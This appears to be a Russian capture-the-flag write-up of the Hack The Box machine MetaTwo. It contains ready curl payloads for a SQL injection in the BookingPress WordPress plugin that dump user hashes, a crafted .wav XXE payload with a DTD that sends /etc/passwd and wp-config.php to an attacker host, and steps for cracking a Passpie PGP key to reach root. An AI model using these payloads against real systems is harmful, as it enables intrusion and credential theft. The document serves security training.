Хакер - HTB MetaTwo. Раскручиваем уязвимость в WordPress до полного захвата машины

Хакер - HTB MetaTwo. Раскручиваем уязвимость в WordPress до полного захвата машины

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • SQL Injection
  • XXE
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как экс­плу­ати­ровать SQL-инъ­екцию в WordPress для авто­риза­ции в CMS. Затем про­экс­плу­ати­руем локаль­ное вклю­чение фай­лов, а для повыше­ния при­виле­гий зах­ватим дан­ные менед­жера паролей Passpie.

Уп­ражнять­ся во всем этом мы будем на тре­ниро­воч­ной машине MetaTwo с пло­щад­ки Hack The Box. Уро­вень слож­ности — лег­кий.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.186 metatwo.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Скрипт нашел три откры­тых пор­та:

  • 21 — служ­ба FTP;
  • 22 — служ­ба OpenSSH 8.4p1;
  • 80 — веб‑сер­вер Nginx 1.18.0.

На SSH без учет­ных дан­ных ничего не сде­лать, служ­ба FTP ано­ним­ную авто­риза­цию не раз­реша­ет, поэто­му идем смот­реть веб‑сайт. При­том, как видим из резуль­тата ска­ниро­вания, выпол­няет­ся редирект на сайт http://metapress.htb/. Новый домен добав­ляем в файл /etc/hosts.

10.10.11.186 metatwo.htb metapress.htb

Глав­ная стра­ница сай­та metapress.htb

ТОЧКА ВХОДА

На самой стра­нице находим упо­мина­ние CMS WordPress.

metapress.htb

При тес­тирова­нии сай­тов на WordPress я рекомен­дую исполь­зовать ути­литу wpscan. Прог­рамма поз­воля­ет получить информа­цию как о самой CMS, так и об уста­нов­ленных пла­гинах и темах, обна­ружить дей­ству­ющих поль­зовате­лей и даже проб­рутить фор­му авто­риза­ции. Запус­каем прог­рамму в режиме агрессив­ного ска­ниро­вания всех пла­гинов в 128 потоков.

wpscan --url http://metapress.htb -e p --plugins-detection aggressive -t 128

Вер­сия CMS WordPress

Прос­каниро­вать пла­гины у нас тол­ком не выш­ло, так как про­цесс силь­но замед­ляет­ся, а сло­варь очень боль­шой. Зато поиск экс­пло­итов к этой вер­сии CMS дал резуль­тат. Прав­да, най­ден­ный мной экс­пло­ит тре­бует авто­ризо­ван­ного дос­тупа, поэто­му отме­тим его на будущее.

По­иск экс­пло­ита в Google

Те­перь сос­тавим кар­ту сай­та, что­бы понимать область тес­тирова­ния. При этом мож­но най­ти инте­рес­ные адре­са, которых мы еще не видели. Ска­ниро­вать и сос­тавлять кар­ту мож­но пря­мо в Burp, дос­таточ­но выб­рать в кон­текс­тном меню Engagement tools → Discover content.

Кар­та сай­та metapress.htb

По соз­данной кар­те сай­та вид­но, что уста­нов­лен пла­гин BookingPress вер­сии 1.0.10. Как всег­да, сра­зу про­веря­ем, нет ли готовых экс­пло­итов для этой вер­сии пла­гина.

По­иск экс­пло­ита в Google

На­ходим экс­пло­ит, который работа­ет без авто­риза­ции.

ТОЧКА ОПОРЫ

SQL Injection

В опи­сании к экс­пло­иту есть готовый зап­рос.

Опи­сание экс­пло­ита

Од­нако, что­бы его выпол­нить, нам нуж­но знать параметр _wpnonce. Перехо­дим к кар­те сай­та и в кон­текс­тном меню выбира­ем поиск по все­му сай­ту: Engagement tools → Search.

По­иск парамет­ра _wpnonce

Вы­пол­няем зап­рос из опи­сания и получа­ем ответ в фор­мате JSON.

curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

От­вет от сер­вера

В зап­росе мы получи­ли вер­сию базы дан­ных и опе­раци­онной сис­темы. Для удобс­тва отоб­ражения будем филь­тро­вать нуж­ные парамет­ры из отве­та с помощью grep.

curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' | jq | grep 'bookingpress_service_id\|bookingpress_category_id\|bookingpress_service_name'

От­вет сер­вера

Так как мы работа­ем с WordPress, струк­тура базы дан­ных извес­тна. Нам нуж­но получить поль­зовате­лей (стол­бец user_login) и хеши паролей (стол­бец user_pass) из таб­лицы wp_users. У нас выводит­ся все­го одна запись, а поль­зовате­лей может быть нес­коль­ко, так что груп­пиру­ем все записи из стол­бца в одну с помощью фун­кции group_concat().

curl 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=a96a0c1dcf&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -' | jq | grep 'bookingpress_service_id\|bookingpress_category_id\|bookingpress_service_name'

Поль­зовате­ли CMS WordPress

По­лучи­ли хеши — отправ­ляем на брут. Будем исполь­зовать hashcat, а ему нуж­но ука­зывать режим (тип хеша), опре­делить который нам поможет справ­ка прог­раммы.

hashcat --example | grep '\$P\$' -A2 -B12

Справ­ка hashcat

Та­ким обра­зом, необ­ходимый режим работы — 400, ука­зыва­ем его в парамет­ре -m.

hashcat -m 400 400.hash ~/tools/TOOL/wordlists/Passwords/rockyou.txt

Ре­зуль­тат перебо­ра хеша

По­луча­ем пароль поль­зовате­ля manager и авто­ризу­емся на сай­те. Теперь самое вре­мя вспом­нить про обна­ружен­ную вна­чале уяз­вимость XXE.

XXE

Инъ­екция внеш­них сущ­ностей XML (XXE) — уяз­вимость, которая поз­воля­ет ата­кующе­му вме­шивать­ся в обра­бот­ку XML-дан­ных. Эта уяз­вимость пре­дос­тавля­ет нам воз­можность получить про­изволь­ные фай­лы из сис­темы.

В WordPress есть меди­ате­ка, которая поз­воля­ет аутен­тифици­рован­ным поль­зовате­лям заг­ружать меди­афай­лы, что­бы затем исполь­зовать их при написа­нии пос­тов в бло­ге. Мета­информа­цию из этих меди­афай­лов (нап­ример, имя исполни­теля) WordPress извле­кает при помощи биб­лиоте­ки getID3. Некото­рые из этих метадан­ных переда­ются в фор­ме XML. Вот тут и пря­чет­ся наша уяз­вимость.

Пер­вым делом сге­нери­руем файл .wav, содер­жащий документ XML, который будет заг­ружать внеш­нюю сущ­ность с нашего хос­та.

<?xml version="1.0"?>

<!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.5/evil.dtd'"'"'>%remote;%init;%trick;] >

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.5/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

Внеш­няя сущ­ность дол­жна содер­жать парамет­ры init и trick.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.5/?p=%file;'>" >

Та­ким обра­зом, при заг­рузке фай­ла .wav про­изой­дет заг­рузка сущ­ности evil.dtd с нашего хос­та, которая получит содер­жимое фай­ла /etc/passwd и выпол­нит зап­рос сле­дующей сущ­ности. При этом в самом зап­росе она передаст в качес­тве парамет­ра p содер­жимое получен­ного фай­ла, закоди­рован­ное в Base64.

Фор­ма заг­рузки фай­ла
Зап­рос сущ­ности и эксфиль­тра­ция фай­ла

Де­коди­руем дан­ные из Base64 и получа­ем содер­жимое зап­рошен­ного фай­ла /etc/passwd.

Со­дер­жимое фай­ла /etc/passwd

ПРОДВИЖЕНИЕ

С воз­можностью читать фай­лы на уда­лен­ной сис­теме для прод­вижения нам нуж­но искать учет­ные дан­ные. Пер­вая мысль — про­читать файл с нас­трой­ками сай­та, где хра­нят­ся учет­ные дан­ные для под­клю­чения к базе дан­ных. В слу­чае WordPress это файл wp-config.php. Что­бы про­читать его, нуж­но знать путь к фай­лам веб‑сай­та, в чем поможет чте­ние нас­тро­ек сер­вера Nginx, а имен­но вот этот файл:

/etc/nginx/sites-enabled/default

Зап­рашива­ем его:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/sites-enabled/default">

Нас­трой­ки Nginx

Уз­наём путь /var/www/metapress.htb/blog и чита­ем содер­жимое фай­ла wp-config.php.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">

Учет­ные дан­ные для под­клю­чения к базе дан­ных

Мы наш­ли учет­ные дан­ные для под­клю­чения к FTP-сер­веру. Под­клю­чаем­ся сами и видим инте­рес­ный каталог mailer.

Со­дер­жимое FTP-ресур­са

Пе­рехо­дим к ресур­су mailer и видим файл send_email.php, который ска­чива­ем на локаль­ный хост.

Со­дер­жимое ресур­са mailer

В исходном коде находим учет­ные дан­ные для поч­тового сер­вера.

Со­дер­жимое фай­ла send_email.php

C получен­ным логином и паролем успешно авто­ризу­емся по SSH и забира­ем флаг поль­зовате­ля.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Для поис­ка путей повыше­ния при­виле­гий я, как всег­да, буду исполь­зовать скрипт PEAS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции, поп­робу­ем най­ти важ­ную. Так я обна­ружил, что в спис­ке клю­чей SSH есть ключ passpie.

Ве­роят­ные при­ват­ные клю­чи SSH

Passpie — это кон­соль­ный менед­жер паролей с нас­тра­иваемым интерфей­сом. Он хра­нит пароли в зашиф­рован­ном виде, а для рас­шифро­выва­ния исполь­зует­ся мас­тер‑пароль. В катало­ге прог­раммы най­дем зашиф­рован­ный пароль поль­зовате­ля root.

За­шиф­рован­ные пароли поль­зовате­лей

Единс­твен­ное, что мы можем сде­лать в дан­ной ситу­ации, — заб­рать из сис­темы ключ PGP и попытать­ся наб­рутить мас­тер‑пароль.

PGP-ключ Passpie

Пе­ред бру­том пароля нуж­но при­вес­ти ключ PGP в понят­ный для прог­раммы John the Ripper фор­мат. В этом поможет скрипт gpg2john, которо­му нуж­но ука­зать файл с клю­чом.

Пре­обра­зова­ние клю­ча

Те­перь отда­ем файл с пре­обра­зован­ным клю­чом JTR, ждем нес­коль­ко секунд и получа­ем мас­тер‑пароль.

Ре­зуль­тат перебо­ра пароля

Воз­вра­щаем­ся в тер­минал ата­куемо­го хос­та и про­буем получить сох­ранен­ные пароли.

passpie export pass

Сох­ранен­ные пароли

Ло­каль­но меня­ем поль­зовате­ля на рут, ука­зав получен­ный пароль, и забира­ем вто­рой флаг.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page